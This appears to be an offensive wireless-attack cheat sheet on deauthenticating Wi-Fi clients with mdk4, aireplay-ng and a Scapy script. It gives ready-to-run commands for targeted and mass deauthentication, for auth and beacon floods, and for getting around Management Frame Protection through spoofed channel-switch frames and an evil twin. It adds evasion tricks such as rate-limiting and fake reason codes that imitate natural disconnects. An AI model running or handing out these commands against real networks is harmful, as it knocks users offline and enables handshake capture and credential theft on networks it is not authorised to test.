Deauthentication Attacks

# Target specific AP
echo "AA:BB:CC:DD:EE:FF" > target.txt
sudo mdk4 wlan0mon d -b target.txt

# Deauth with both deauth AND disassociation frames
sudo mdk4 wlan0mon d -b target.txt -c 6

# Mass deauth all visible networks (DESTRUCTIVE!)
sudo mdk4 wlan0mon d

# airodump-ng does not expose MFP flags (its columns are ENC/CIPHER/AUTH).
# Read the RSN Capabilities bits directly with iw (run the scan on the
# managed interface, not the monitor interface, which cannot scan):
sudo iw dev wlan0 scan | grep -A 15 "CorpWiFi" | grep -i "pmf|mfp|capabilities"

# Wireshark filter — check RSN capabilities field
# Bit 6 = MFPC (capable), Bit 7 = MFPR (required)
tshark -i wlan0mon -Y "wlan.fc.type_subtype == 0x08" \
  -T fields -e wlan.ssid -e wlan.rsn.capabilities.mfpc -e wlan.rsn.capabilities.mfpr

# Bypass 1: Channel Switch Announcement (CSA) injection
# Spoof CSA action frames from the AP, telling clients to move to a different channel.
# Clients obey CSA even with MFP — it's processed before authentication.
# mdk4 has no CSA mode, so craft the action frames with Scapy (or a dedicated
# CSA-injection tool) rather than trying to do it with a deauth command.

# Bypass 2: Rogue AP on same SSID without MFP
# If AP uses MFPC (optional), create a twin without MFP
# Clients that connect to your AP won't have MFP protection
# Then deauth them from your own AP freely

# Bypass 3: Auth flood (exhaust AP association table)
# Flood the AP with fake authentication requests
# When association table is full, legitimate clients can't re-associate
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF

# Bypass 4: Beacon flood to confuse clients
# Create hundreds of fake APs on the same channel
# Overwhelms client network selection
sudo mdk4 wlan0mon b -f ssid-list.txt -c 6

# Technique 1: Rate-limited deauth (1 burst every 30 seconds)
# Only need a single deauth to trigger handshake re-capture
for i in $(seq 1 5); do
  sudo aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon
  sleep 30
done

# Technique 2: Target only high-value clients
# Instead of broadcast deauth, target specific client MACs
# identified during recon — this generates far fewer frames
sudo aireplay-ng -0 2 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

# Technique 3: Disassociation instead of deauthentication
# aireplay-ng's -0 always sends deauth reason code 7 and cannot be changed
# (the Scapy example below can set an arbitrary reason code).
sudo mdk4 wlan0mon d -b target.txt -s 1    # -s = packets per second

# Scapy — craft deauths with custom reason codes
python3 << 'EOF'
from scapy.all import *

# Reason code 3 = "Deauthenticated because sending STA is leaving"
# Looks like a natural client disconnect from the AP's perspective
ap_mac = "AA:BB:CC:DD:EE:FF"
client_mac = "CC:DD:EE:FF:00:11"
iface = "wlan0mon"

# Craft deauth from AP to client (reason 3)
pkt = RadioTap() / Dot11(
    addr1=client_mac,   # destination
    addr2=ap_mac,       # source (spoofed AP)
    addr3=ap_mac        # BSSID
) / Dot11Deauth(reason=3)

# Send with random inter-packet delay (evasion)
sendp(pkt, iface=iface, count=3, inter=0.5)
EOF